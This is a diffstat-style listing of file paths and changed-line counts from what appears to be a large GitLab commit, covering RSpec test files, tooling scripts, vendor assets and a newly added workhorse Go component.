-rw-r--r--spec/models/concerns/routable_spec.rb150
-rw-r--r--spec/models/concerns/token_authenticatable_spec.rb4
-rw-r--r--spec/models/container_repository_spec.rb2
-rw-r--r--spec/models/custom_emoji_spec.rb9
-rw-r--r--spec/models/cycle_analytics/code_spec.rb2
-rw-r--r--spec/models/cycle_analytics/issue_spec.rb2
-rw-r--r--spec/models/cycle_analytics/plan_spec.rb2
-rw-r--r--spec/models/cycle_analytics/review_spec.rb2
-rw-r--r--spec/models/cycle_analytics/staging_spec.rb2
-rw-r--r--spec/models/cycle_analytics/test_spec.rb2
-rw-r--r--spec/models/dependency_proxy/manifest_spec.rb52
-rw-r--r--spec/models/dependency_proxy/registry_spec.rb7
-rw-r--r--spec/models/deployment_spec.rb86
-rw-r--r--spec/models/diff_note_spec.rb20
-rw-r--r--spec/models/environment_spec.rb173
-rw-r--r--spec/models/experiment_spec.rb113
-rw-r--r--spec/models/experiment_subject_spec.rb54
-rw-r--r--spec/models/exported_protected_branch_spec.rb21
-rw-r--r--spec/models/group_import_state_spec.rb20
-rw-r--r--spec/models/group_spec.rb69
-rw-r--r--spec/models/identity_spec.rb30
-rw-r--r--spec/models/instance_configuration_spec.rb16
-rw-r--r--spec/models/issue_spec.rb19
-rw-r--r--spec/models/label_priority_spec.rb6
-rw-r--r--spec/models/merge_request_diff_spec.rb212
-rw-r--r--spec/models/merge_request_reviewer_spec.rb2
-rw-r--r--spec/models/merge_request_spec.rb221
-rw-r--r--spec/models/namespace_onboarding_action_spec.rb53
-rw-r--r--spec/models/namespace_spec.rb1
-rw-r--r--spec/models/note_spec.rb4
-rw-r--r--spec/models/packages/package_file_spec.rb4
-rw-r--r--spec/models/packages/package_spec.rb73
-rw-r--r--spec/models/pages/lookup_path_spec.rb63
-rw-r--r--spec/models/project_feature_spec.rb2
-rw-r--r--spec/models/project_feature_usage_spec.rb4
-rw-r--r--spec/models/project_repository_storage_move_spec.rb94
-rw-r--r--spec/models/project_services/datadog_service_spec.rb179
-rw-r--r--spec/models/project_services/jenkins_service_spec.rb255
-rw-r--r--spec/models/project_services/jira_service_spec.rb13
-rw-r--r--spec/models/project_spec.rb160
-rw-r--r--spec/models/project_statistics_spec.rb11
-rw-r--r--spec/models/protected_branch/push_access_level_spec.rb55
-rw-r--r--spec/models/raw_usage_data_spec.rb24
-rw-r--r--spec/models/release_highlight_spec.rb181
-rw-r--r--spec/models/repository_spec.rb2
-rw-r--r--spec/models/resource_label_event_spec.rb8
-rw-r--r--spec/models/resource_state_event_spec.rb8
-rw-r--r--spec/models/sentry_issue_spec.rb6
-rw-r--r--spec/models/service_spec.rb13
-rw-r--r--spec/models/snippet_repository_storage_move_spec.rb13
-rw-r--r--spec/models/snippet_spec.rb39
-rw-r--r--spec/models/suggestion_spec.rb6
-rw-r--r--spec/models/system_note_metadata_spec.rb12
-rw-r--r--spec/models/terraform/state_spec.rb113
-rw-r--r--spec/models/timelog_spec.rb8
-rw-r--r--spec/models/user_spec.rb276
-rw-r--r--spec/models/wiki_page/meta_spec.rb9
-rw-r--r--spec/models/wiki_page/slug_spec.rb3
-rw-r--r--spec/models/zoom_meeting_spec.rb14
-rw-r--r--spec/policies/global_policy_spec.rb38
-rw-r--r--spec/policies/namespace_policy_spec.rb2
-rw-r--r--spec/policies/project_policy_spec.rb174
-rw-r--r--spec/policies/user_policy_spec.rb12
-rw-r--r--spec/presenters/gitlab/whats_new/item_presenter_spec.rb29
-rw-r--r--spec/presenters/packages/composer/packages_presenter_spec.rb2
-rw-r--r--spec/presenters/project_presenter_spec.rb6
-rw-r--r--spec/presenters/projects/import_export/project_export_presenter_spec.rb8
-rw-r--r--spec/presenters/search_service_presenter_spec.rb34
-rw-r--r--spec/presenters/snippet_presenter_spec.rb6
-rw-r--r--spec/requests/api/admin/instance_clusters_spec.rb13
-rw-r--r--spec/requests/api/api_guard/admin_mode_middleware_spec.rb2
-rw-r--r--spec/requests/api/broadcast_messages_spec.rb4
-rw-r--r--spec/requests/api/ci/runner/jobs_artifacts_spec.rb2
-rw-r--r--spec/requests/api/ci/runner/jobs_put_spec.rb17
-rw-r--r--spec/requests/api/ci/runner/jobs_trace_spec.rb2
-rw-r--r--spec/requests/api/composer_packages_spec.rb13
-rw-r--r--spec/requests/api/discussions_spec.rb31
-rw-r--r--spec/requests/api/feature_flags_spec.rb117
-rw-r--r--spec/requests/api/features_spec.rb178
-rw-r--r--spec/requests/api/go_proxy_spec.rb4
-rw-r--r--spec/requests/api/graphql/boards/board_lists_query_spec.rb16
-rw-r--r--spec/requests/api/graphql/ci/ci_cd_setting_spec.rb50
-rw-r--r--spec/requests/api/graphql/ci/config_spec.rb91
-rw-r--r--spec/requests/api/graphql/ci/job_artifacts_spec.rb52
-rw-r--r--spec/requests/api/graphql/ci/jobs_spec.rb119
-rw-r--r--spec/requests/api/graphql/group/container_repositories_spec.rb22
-rw-r--r--spec/requests/api/graphql/group/group_members_spec.rb80
-rw-r--r--spec/requests/api/graphql/group_query_spec.rb2
-rw-r--r--spec/requests/api/graphql/issue/issue_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb12
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/add_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/container_repository/destroy_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/container_repository/destroy_tags_spec.rb120
-rw-r--r--spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb45
-rw-r--r--spec/requests/api/graphql/mutations/releases/delete_spec.rb132
-rw-r--r--spec/requests/api/graphql/mutations/releases/update_spec.rb255
-rw-r--r--spec/requests/api/graphql/mutations/snippets/create_spec.rb8
-rw-r--r--spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb10
-rw-r--r--spec/requests/api/graphql/namespace/projects_spec.rb44
-rw-r--r--spec/requests/api/graphql/project/container_repositories_spec.rb22
-rw-r--r--spec/requests/api/graphql/project/issue/design_collection/version_spec.rb3
-rw-r--r--spec/requests/api/graphql/project/issue_spec.rb6
-rw-r--r--spec/requests/api/graphql/project/issues_spec.rb28
-rw-r--r--spec/requests/api/graphql/project/merge_request/pipelines_spec.rb63
-rw-r--r--spec/requests/api/graphql/project/merge_requests_spec.rb47
-rw-r--r--spec/requests/api/graphql/project/pipeline_spec.rb49
-rw-r--r--spec/requests/api/graphql/project/project_members_spec.rb121
-rw-r--r--spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb58
-rw-r--r--spec/requests/api/graphql/project/release_spec.rb10
-rw-r--r--spec/requests/api/graphql/project/terraform/states_spec.rb45
-rw-r--r--spec/requests/api/graphql/project_query_spec.rb35
-rw-r--r--spec/requests/api/graphql/user_query_spec.rb142
-rw-r--r--spec/requests/api/graphql/users_spec.rb14
-rw-r--r--spec/requests/api/graphql_spec.rb2
-rw-r--r--spec/requests/api/group_clusters_spec.rb12
-rw-r--r--spec/requests/api/group_import_spec.rb6
-rw-r--r--spec/requests/api/import_github_spec.rb4
-rw-r--r--spec/requests/api/internal/base_spec.rb17
-rw-r--r--spec/requests/api/internal/kubernetes_spec.rb16
-rw-r--r--spec/requests/api/internal/pages_spec.rb52
-rw-r--r--spec/requests/api/jobs_spec.rb53
-rw-r--r--spec/requests/api/merge_requests_spec.rb48
-rw-r--r--spec/requests/api/nuget_packages_spec.rb533
-rw-r--r--spec/requests/api/nuget_project_packages_spec.rb280
-rw-r--r--spec/requests/api/project_clusters_spec.rb12
-rw-r--r--spec/requests/api/project_import_spec.rb6
-rw-r--r--spec/requests/api/project_repository_storage_moves_spec.rb70
-rw-r--r--spec/requests/api/projects_spec.rb14
-rw-r--r--spec/requests/api/services_spec.rb4
-rw-r--r--spec/requests/api/settings_spec.rb25
-rw-r--r--spec/requests/api/usage_data_spec.rb81
-rw-r--r--spec/requests/api/users_spec.rb94
-rw-r--r--spec/requests/api/v3/github_spec.rb4
-rw-r--r--spec/requests/git_http_spec.rb20
-rw-r--r--spec/requests/ide_controller_spec.rb17
-rw-r--r--spec/requests/import/gitlab_groups_controller_spec.rb67
-rw-r--r--spec/requests/import/gitlab_projects_controller_spec.rb53
-rw-r--r--spec/requests/jwt_controller_spec.rb318
-rw-r--r--spec/requests/lfs_http_spec.rb1662
-rw-r--r--spec/requests/projects/cycle_analytics_events_spec.rb143
-rw-r--r--spec/requests/projects/metrics_dashboard_spec.rb4
-rw-r--r--spec/requests/rack_attack_global_spec.rb33
-rw-r--r--spec/requests/self_monitoring_project_spec.rb8
-rw-r--r--spec/requests/whats_new_controller_spec.rb34
-rw-r--r--spec/routing/git_http_routing_spec.rb58
-rw-r--r--spec/routing/group_routing_spec.rb4
-rw-r--r--spec/routing/import_routing_spec.rb26
-rw-r--r--spec/routing/routing_spec.rb39
-rw-r--r--spec/rubocop/cop/gitlab/policy_rule_boolean_spec.rb52
-rw-r--r--spec/rubocop/cop/graphql/descriptions_spec.rb102
-rw-r--r--spec/rubocop/cop/include_sidekiq_worker_spec.rb2
-rw-r--r--spec/rubocop/cop/lint/last_keyword_argument_spec.rb138
-rw-r--r--spec/rubocop/cop/migration/add_column_with_default_spec.rb2
-rw-r--r--spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb4
-rw-r--r--spec/rubocop/cop/rspec/htt_party_basic_auth_spec.rb42
-rw-r--r--spec/serializers/accessibility_reports_comparer_entity_spec.rb4
-rw-r--r--spec/serializers/admin/user_entity_spec.rb31
-rw-r--r--spec/serializers/admin/user_serializer_spec.rb26
-rw-r--r--spec/serializers/board_simple_entity_spec.rb16
-rw-r--r--spec/serializers/codequality_degradation_entity_spec.rb88
-rw-r--r--spec/serializers/codequality_reports_comparer_entity_spec.rb85
-rw-r--r--spec/serializers/codequality_reports_comparer_serializer_spec.rb92
-rw-r--r--spec/serializers/environment_entity_spec.rb58
-rw-r--r--spec/serializers/import/bulk_import_entity_spec.rb5
-rw-r--r--spec/serializers/merge_request_current_user_entity_spec.rb21
-rw-r--r--spec/serializers/merge_request_user_entity_spec.rb2
-rw-r--r--spec/serializers/merge_request_widget_entity_spec.rb68
-rw-r--r--spec/serializers/paginated_diff_entity_spec.rb4
-rw-r--r--spec/serializers/rollout_status_entity_spec.rb53
-rw-r--r--spec/serializers/rollout_statuses/ingress_entity_spec.rb19
-rw-r--r--spec/services/alert_management/process_prometheus_alert_service_spec.rb2
-rw-r--r--spec/services/application_settings/update_service_spec.rb28
-rw-r--r--spec/services/auth/container_registry_authentication_service_spec.rb990
-rw-r--r--spec/services/auth/dependency_proxy_authentication_service_spec.rb46
-rw-r--r--spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb2
-rw-r--r--spec/services/boards/lists/create_service_spec.rb50
-rw-r--r--spec/services/ci/compare_accessibility_reports_service_spec.rb30
-rw-r--r--spec/services/ci/compare_codequality_reports_service_spec.rb32
-rw-r--r--spec/services/ci/compare_reports_base_service_spec.rb38
-rw-r--r--spec/services/ci/compare_test_reports_service_spec.rb32
-rw-r--r--spec/services/ci/create_job_artifacts_service_spec.rb2
-rw-r--r--spec/services/ci/create_pipeline_service/merge_requests_spec.rb53
-rw-r--r--spec/services/ci/create_pipeline_service/rules_spec.rb142
-rw-r--r--spec/services/ci/generate_coverage_reports_service_spec.rb30
-rw-r--r--spec/services/ci/generate_terraform_reports_service_spec.rb29
-rw-r--r--spec/services/ci/list_config_variables_service_spec.rb47
-rw-r--r--spec/services/ci/pipelines/create_artifact_service_spec.rb3
-rw-r--r--spec/services/ci/test_cases_service_spec.rb94
-rw-r--r--spec/services/ci/test_failure_history_service_spec.rb192
-rw-r--r--spec/services/ci/update_build_state_service_spec.rb70
-rw-r--r--spec/services/clusters/applications/create_service_spec.rb32
-rw-r--r--spec/services/clusters/applications/prometheus_health_check_service_spec.rb6
-rw-r--r--spec/services/clusters/aws/authorize_role_service_spec.rb15
-rw-r--r--spec/services/clusters/aws/fetch_credentials_service_spec.rb58
-rw-r--r--spec/services/clusters/aws/provision_service_spec.rb4
-rw-r--r--spec/services/clusters/cleanup/app_service_spec.rb5
-rw-r--r--spec/services/concerns/exclusive_lease_guard_spec.rb2
-rw-r--r--spec/services/container_expiration_policies/cleanup_service_spec.rb2
-rw-r--r--spec/services/dependency_proxy/auth_token_service_spec.rb37
-rw-r--r--spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb83
-rw-r--r--spec/services/dependency_proxy/head_manifest_service_spec.rb44
-rw-r--r--spec/services/dependency_proxy/pull_manifest_service_spec.rb51
-rw-r--r--spec/services/environments/canary_ingress/update_service_spec.rb139
-rw-r--r--spec/services/event_create_service_spec.rb4
-rw-r--r--spec/services/files/delete_service_spec.rb2
-rw-r--r--spec/services/files/update_service_spec.rb6
-rw-r--r--spec/services/git/branch_push_service_spec.rb4
-rw-r--r--spec/services/git/tag_hooks_service_spec.rb2
-rw-r--r--spec/services/groups/import_export/import_service_spec.rb2
-rw-r--r--spec/services/groups/transfer_service_spec.rb71
-rw-r--r--spec/services/incident_management/incidents/create_service_spec.rb2
-rw-r--r--spec/services/issues/clone_service_spec.rb340
-rw-r--r--spec/services/issues/create_service_spec.rb1
-rw-r--r--spec/services/issues/update_service_spec.rb83
-rw-r--r--spec/services/jira/requests/projects/list_service_spec.rb27
-rw-r--r--spec/services/jira_connect/sync_service_spec.rb33
-rw-r--r--spec/services/members/approve_access_request_service_spec.rb10
-rw-r--r--spec/services/members/create_service_spec.rb83
-rw-r--r--spec/services/members/invitation_reminder_email_service_spec.rb96
-rw-r--r--spec/services/merge_requests/after_create_service_spec.rb19
-rw-r--r--spec/services/merge_requests/base_service_spec.rb3
-rw-r--r--spec/services/metrics/dashboard/clone_dashboard_service_spec.rb2
-rw-r--r--spec/services/notification_service_spec.rb47
-rw-r--r--spec/services/onboarding_progress_service_spec.rb33
-rw-r--r--spec/services/packages/composer/create_package_service_spec.rb4
-rw-r--r--spec/services/packages/conan/create_package_file_service_spec.rb13
-rw-r--r--spec/services/packages/conan/create_package_service_spec.rb1
-rw-r--r--spec/services/packages/create_event_service_spec.rb24
-rw-r--r--spec/services/packages/create_package_file_service_spec.rb21
-rw-r--r--spec/services/packages/generic/create_package_file_service_spec.rb8
-rw-r--r--spec/services/packages/nuget/create_package_service_spec.rb1
-rw-r--r--spec/services/packages/pypi/create_package_service_spec.rb2
-rw-r--r--spec/services/pages/legacy_storage_lease_spec.rb73
-rw-r--r--spec/services/pages/zip_directory_service_spec.rb209
-rw-r--r--spec/services/post_receive_service_spec.rb13
-rw-r--r--spec/services/projects/alerting/notify_service_spec.rb5
-rw-r--r--spec/services/projects/container_repository/delete_tags_service_spec.rb4
-rw-r--r--spec/services/projects/fork_service_spec.rb6
-rw-r--r--spec/services/projects/git_deduplication_service_spec.rb2
-rw-r--r--spec/services/projects/hashed_storage/migrate_repository_service_spec.rb2
-rw-r--r--spec/services/projects/hashed_storage/rollback_repository_service_spec.rb2
-rw-r--r--spec/services/projects/move_access_service_spec.rb6
-rw-r--r--spec/services/projects/move_deploy_keys_projects_service_spec.rb2
-rw-r--r--spec/services/projects/move_lfs_objects_projects_service_spec.rb2
-rw-r--r--spec/services/projects/move_notification_settings_service_spec.rb2
-rw-r--r--spec/services/projects/move_project_authorizations_service_spec.rb2
-rw-r--r--spec/services/projects/move_project_group_links_service_spec.rb2
-rw-r--r--spec/services/projects/move_project_members_service_spec.rb2
-rw-r--r--spec/services/projects/open_issues_count_service_spec.rb8
-rw-r--r--spec/services/projects/participants_service_spec.rb113
-rw-r--r--spec/services/projects/prometheus/alerts/notify_service_spec.rb17
-rw-r--r--spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb47
-rw-r--r--spec/services/projects/transfer_service_spec.rb27
-rw-r--r--spec/services/projects/update_pages_service_spec.rb30
-rw-r--r--spec/services/projects/update_repository_storage_service_spec.rb12
-rw-r--r--spec/services/quick_actions/interpret_service_spec.rb4
-rw-r--r--spec/services/releases/create_service_spec.rb69
-rw-r--r--spec/services/resource_events/change_labels_service_spec.rb25
-rw-r--r--spec/services/submit_usage_ping_service_spec.rb15
-rw-r--r--spec/services/suggestions/apply_service_spec.rb2
-rw-r--r--spec/services/system_hooks_service_spec.rb3
-rw-r--r--spec/services/system_note_service_spec.rb13
-rw-r--r--spec/services/system_notes/issuables_service_spec.rb85
-rw-r--r--spec/services/users/create_service_spec.rb2
-rw-r--r--spec/services/users/reject_service_spec.rb54
-rw-r--r--spec/services/users/set_status_service_spec.rb39
-rw-r--r--spec/services/users/validate_otp_service_spec.rb18
-rw-r--r--spec/spec_helper.rb39
-rw-r--r--spec/support/atlassian/jira_connect/schemata.rb83
-rw-r--r--spec/support/caching.rb2
-rw-r--r--spec/support/gitlab_experiment.rb4
-rw-r--r--spec/support/gitlab_stubs/gitlab_ci_includes.yml19
-rw-r--r--spec/support/graphql/arguments.rb70
-rw-r--r--spec/support/graphql/field_inspection.rb35
-rw-r--r--spec/support/graphql/field_selection.rb73
-rw-r--r--spec/support/graphql/var.rb59
-rw-r--r--spec/support/helpers/after_next_helpers.rb53
-rw-r--r--spec/support/helpers/database_helpers.rb13
-rw-r--r--spec/support/helpers/dependency_proxy_helpers.rb18
-rw-r--r--spec/support/helpers/features/merge_request_helpers.rb25
-rw-r--r--spec/support/helpers/features/web_ide_spec_helpers.rb35
-rw-r--r--spec/support/helpers/file_read_helpers.rb48
-rw-r--r--spec/support/helpers/filtered_search_helpers.rb4
-rw-r--r--spec/support/helpers/git_http_helpers.rb34
-rw-r--r--spec/support/helpers/gitlab_verify_helpers.rb2
-rw-r--r--spec/support/helpers/gpg_helpers.rb139
-rw-r--r--spec/support/helpers/graphql_helpers.rb206
-rw-r--r--spec/support/helpers/login_helpers.rb16
-rw-r--r--spec/support/helpers/multipart_helpers.rb2
-rw-r--r--spec/support/helpers/next_instance_of.rb27
-rw-r--r--spec/support/helpers/services_helper.rb11
-rw-r--r--spec/support/helpers/snowplow_helpers.rb26
-rw-r--r--spec/support/helpers/stub_experiments.rb16
-rw-r--r--spec/support/helpers/stub_object_storage.rb17
-rw-r--r--spec/support/helpers/test_env.rb48
-rw-r--r--spec/support/helpers/usage_data_helpers.rb2
-rw-r--r--spec/support/helpers/workhorse_helpers.rb6
-rw-r--r--spec/support/import_export/common_util.rb5
-rw-r--r--spec/support/matchers/access_matchers.rb4
-rw-r--r--spec/support/matchers/be_valid_json.rb32
-rw-r--r--spec/support/matchers/exceed_query_limit.rb121
-rw-r--r--spec/support/services/issuable_import_csv_service_shared_examples.rb32
-rw-r--r--spec/support/shared_contexts/finders/group_projects_finder_shared_contexts.rb14
-rw-r--r--spec/support/shared_contexts/finders/merge_requests_finder_shared_contexts.rb6
-rw-r--r--spec/support/shared_contexts/issuable/merge_request_shared_context.rb44
-rw-r--r--spec/support/shared_contexts/lib/gitlab/middleware/with_a_mocked_gitlab_instance_shared_context.rb2
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb26
-rw-r--r--spec/support/shared_contexts/policies/group_policy_shared_context.rb1
-rw-r--r--spec/support/shared_contexts/services_shared_context.rb5
-rw-r--r--spec/support/shared_examples/boards/multiple_issue_boards_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb42
-rw-r--r--spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb117
-rw-r--r--spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb68
-rw-r--r--spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/features/master_manages_access_requests_shared_example.rb1
-rw-r--r--spec/support/shared_examples/features/reportable_note_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb27
-rw-r--r--spec/support/shared_examples/features/wiki/user_uses_wiki_shortcuts_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/graphql/connection_redaction_shared_examples.rb54
-rw-r--r--spec/support/shared_examples/graphql/connection_shared_examples.rb9
-rw-r--r--spec/support/shared_examples/graphql/design_fields_shared_examples.rb30
-rw-r--r--spec/support/shared_examples/graphql/jira_import/jira_import_resolver_shared_examples.rb15
-rw-r--r--spec/support/shared_examples/graphql/members_shared_examples.rb5
-rw-r--r--spec/support/shared_examples/graphql/mutation_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/graphql/mutations/boards_create_shared_examples.rb24
-rw-r--r--spec/support/shared_examples/graphql/mutations/spammable_mutation_fields_examples.rb7
-rw-r--r--spec/support/shared_examples/graphql/projects/services_resolver_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb93
-rw-r--r--spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/lib/gitlab/diff_file_collections_shared_examples.rb52
-rw-r--r--spec/support/shared_examples/lib/gitlab/import_export/import_failure_service_shared_examples.rb8
-rw-r--r--spec/support/shared_examples/lib/gitlab/middleware/read_only_gitlab_instance_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/lib/gitlab/sidekiq_middleware/strategy_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/models/concerns/can_move_repository_storage_shared_examples.rb55
-rw-r--r--spec/support/shared_examples/models/concerns/repository_storage_movable_shared_examples.rb115
-rw-r--r--spec/support/shared_examples/models/concerns/shardable_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/models/mentionable_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/models/resource_timebox_event_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/quick_actions/issue/clone_quick_action_shared_examples.rb187
-rw-r--r--spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb16
-rw-r--r--spec/support/shared_examples/requests/api/graphql/group_and_project_boards_query_shared_examples.rb16
-rw-r--r--spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb265
-rw-r--r--spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/requests/graphql_shared_examples.rb5
-rw-r--r--spec/support/shared_examples/requests/lfs_http_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/requests/rack_attack_shared_examples.rb114
-rw-r--r--spec/support/shared_examples/requests/self_monitoring_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/requests/uploads_auhorize_shared_examples.rb61
-rw-r--r--spec/support/shared_examples/routing/git_http_routing_shared_examples.rb43
-rw-r--r--spec/support/shared_examples/services/alert_management_shared_examples.rb32
-rw-r--r--spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb1006
-rw-r--r--spec/support/shared_examples/services/incident_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/services/metrics/dashboard_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/packages_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/workers/project_export_shared_examples.rb82
-rw-r--r--spec/support/snowplow.rb3
-rw-r--r--spec/support_specs/graphql/arguments_spec.rb71
-rw-r--r--spec/support_specs/graphql/field_selection_spec.rb62
-rw-r--r--spec/support_specs/graphql/var_spec.rb34
-rw-r--r--spec/support_specs/helpers/graphql_helpers_spec.rb274
-rw-r--r--spec/support_specs/helpers/stub_feature_flags_spec.rb25
-rw-r--r--spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb226
-rw-r--r--spec/tasks/gettext_rake_spec.rb177
-rw-r--r--spec/tasks/gitlab/db_rake_spec.rb48
-rw-r--r--spec/tasks/gitlab/ldap_rake_spec.rb109
-rw-r--r--spec/tasks/gitlab/packages/events_rake_spec.rb43
-rw-r--r--spec/tasks/gitlab/user_management_rake_spec.rb83
-rw-r--r--spec/tasks/gitlab/workhorse_rake_spec.rb68
-rw-r--r--spec/tooling/lib/tooling/parallel_rspec_runner_spec.rb92
-rw-r--r--spec/tooling/lib/tooling/test_map_generator_spec.rb25
-rw-r--r--spec/uploaders/object_storage_spec.rb2
-rw-r--r--spec/uploaders/terraform/state_uploader_spec.rb36
-rw-r--r--spec/uploaders/terraform/versioned_state_uploader_spec.rb47
-rw-r--r--spec/validators/json_schema_validator_spec.rb30
-rw-r--r--spec/views/admin/application_settings/general.html.haml_spec.rb28
-rw-r--r--spec/views/admin/dashboard/index.html.haml_spec.rb1
-rw-r--r--spec/views/layouts/_head.html.haml_spec.rb14
-rw-r--r--spec/views/projects/artifacts/_artifact.html.haml_spec.rb17
-rw-r--r--spec/views/projects/commits/_commit.html.haml_spec.rb2
-rw-r--r--spec/views/projects/empty.html.haml_spec.rb82
-rw-r--r--spec/views/projects/merge_requests/show.html.haml_spec.rb39
-rw-r--r--spec/views/search/_filter.html.haml_spec.rb2
-rw-r--r--spec/views/search/_results.html.haml_spec.rb46
-rw-r--r--spec/views/shared/wikis/_sidebar.html.haml_spec.rb83
-rw-r--r--spec/workers/approve_blocked_pending_approval_users_worker_spec.rb31
-rw-r--r--spec/workers/build_finished_worker_spec.rb3
-rw-r--r--spec/workers/ci/test_failure_history_worker_spec.rb47
-rw-r--r--spec/workers/clusters/applications/check_prometheus_health_worker_spec.rb2
-rw-r--r--spec/workers/concerns/gitlab/github_import/object_importer_spec.rb72
-rw-r--r--spec/workers/concerns/gitlab/github_import/stage_methods_spec.rb72
-rw-r--r--spec/workers/concerns/reenqueuer_spec.rb8
-rw-r--r--spec/workers/create_evidence_worker_spec.rb26
-rw-r--r--spec/workers/environments/canary_ingress/update_worker_spec.rb33
-rw-r--r--spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_issue_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_note_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb23
-rw-r--r--spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb23
-rw-r--r--spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb12
-rw-r--r--spec/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker_spec.rb35
-rw-r--r--spec/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker_spec.rb52
-rw-r--r--spec/workers/gitlab/github_import/stage/import_pull_requests_worker_spec.rb2
-rw-r--r--spec/workers/gitlab_performance_bar_stats_worker_spec.rb30
-rw-r--r--spec/workers/gitlab_usage_ping_worker_spec.rb7
-rw-r--r--spec/workers/import_issues_csv_worker_spec.rb10
-rw-r--r--spec/workers/jira_connect/sync_branch_worker_spec.rb9
-rw-r--r--spec/workers/jira_connect/sync_builds_worker_spec.rb60
-rw-r--r--spec/workers/jira_connect/sync_merge_request_worker_spec.rb9
-rw-r--r--spec/workers/jira_connect/sync_project_worker_spec.rb10
-rw-r--r--spec/workers/member_invitation_reminder_emails_worker_spec.rb26
-rw-r--r--spec/workers/namespaces/onboarding_user_added_worker_spec.rb16
-rw-r--r--spec/workers/post_receive_spec.rb83
-rw-r--r--spec/workers/project_cache_worker_spec.rb14
-rw-r--r--spec/workers/project_export_worker_spec.rb81
-rw-r--r--spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb33
-rw-r--r--spec/workers/purge_dependency_proxy_cache_worker_spec.rb8
-rw-r--r--spec/workers/releases/create_evidence_worker_spec.rb26
-rw-r--r--spec/workers/releases/manage_evidence_worker_spec.rb43
-rw-r--r--spec/workers/repository_import_worker_spec.rb2
-rw-r--r--spec/workers/repository_remove_remote_worker_spec.rb2
-rw-r--r--spec/workers/repository_update_remote_mirror_worker_spec.rb9
-rwxr-xr-xtooling/bin/find_foss_tests25
-rwxr-xr-xtooling/bin/find_tests30
-rwxr-xr-xtooling/bin/parallel_rspec19
-rw-r--r--tooling/lib/tooling/parallel_rspec_runner.rb90
-rw-r--r--tooling/lib/tooling/test_map_generator.rb2
-rw-r--r--tooling/overcommit/Gemfile2
-rw-r--r--tooling/overcommit/Gemfile.lock4
-rw-r--r--vendor/assets/stylesheets/select2.scss704
-rw-r--r--[-rwxr-xr-x]vendor/gitignore/C++.gitignore0
-rw-r--r--[-rwxr-xr-x]vendor/gitignore/Java.gitignore0
-rw-r--r--vendor/sample_data_templates/sample.tar.gz (renamed from vendor/sample_data_templates/basic.tar.gz)bin340647 -> 340647 bytes
-rw-r--r--vendor/sample_data_templates/serenity_valley.tar.gzbin7399896 -> 0 bytes
-rw-r--r--workhorse/.gitignore11
-rw-r--r--workhorse/.gitlab-ci.yml83
-rw-r--r--workhorse/.gitlab/CODEOWNERS1
-rw-r--r--workhorse/CHANGELOG1069
-rw-r--r--workhorse/CONTRIBUTING.md46
-rw-r--r--workhorse/LICENSE21
-rw-r--r--workhorse/Makefile177
-rw-r--r--workhorse/PROCESS.md152
-rw-r--r--workhorse/README.md41
-rw-r--r--workhorse/VERSION1
-rwxr-xr-xworkhorse/_support/changelog243
-rwxr-xr-xworkhorse/_support/check_changelog.sh22
-rwxr-xr-xworkhorse/_support/detect-assert.sh9
-rwxr-xr-xworkhorse/_support/detect-context.sh10
-rw-r--r--workhorse/_support/fake-auth-backend.go22
-rwxr-xr-xworkhorse/_support/generate_changelog75
-rwxr-xr-xworkhorse/_support/lint.sh11
-rw-r--r--workhorse/_support/tag.sh45
-rwxr-xr-xworkhorse/_support/validate-formatting.sh9
-rw-r--r--workhorse/authorization_test.go131
-rw-r--r--workhorse/backend.go30
-rw-r--r--workhorse/backend_test.go41
-rw-r--r--workhorse/cable_test.go93
-rw-r--r--workhorse/changelogs/unreleased/.gitkeep0
-rw-r--r--workhorse/channel_test.go245
